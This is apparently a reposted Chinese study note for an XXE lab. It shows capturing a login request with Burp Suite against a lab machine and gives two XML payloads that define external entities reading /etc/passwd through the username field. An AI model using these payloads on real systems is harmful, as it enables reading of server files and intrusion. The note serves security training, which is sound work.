NSATP-A学习笔记之Day2-7xxe漏洞

Posted 火星上烤鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NSATP-A学习笔记之Day2-7xxe漏洞相关的知识,希望对你有一定的参考价值。

XXE-基础实验

实验目的

  • 练习XXE(XML注入)

实验环境

  • 目标机:

    windows2008
    172.16.12.2
    
  • 目标地址:http://172.16.12.2

实验工具

  • 火狐浏览器:是一款非常稳定,非常流行的Internet浏览器
  • Burp Suite

实验内容


XXE(XML注入)

实验步骤

1.访问目标进行注入攻击

访问目标IP:172.16.12.2,看到以下页面

2.尝试进行登录,并进行抓包

在数据包中发送的用户名/密码是以post形式发送的,并且格式很像xml文档

3.根据xxe注入漏洞,构造payloa

只需将payload输出在username里面就行

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY whoami SYSTEM "file:///etc//passwd">
]>
<user>
  <username>&whoami;</username>
  <password>123.com</password>
</user>

payload

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root> 
	<username>&sp;</username>
    <password>123.com</password>
</root>

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!

以上是关于NSATP-A学习笔记之Day2-7xxe漏洞的主要内容,如果未能解决你的问题,请参考以下文章

NSATP-A学习笔记之Day4-4实战1

NSATP-A学习笔记之Day3-3SQL联合查询

NSATP-A学习笔记之Day1

NSATP-A学习笔记之Day4-5实战2

NSATP-A学习笔记之Day2-2使用教程

NSATP-A学习笔记之Day2-6hydra爆破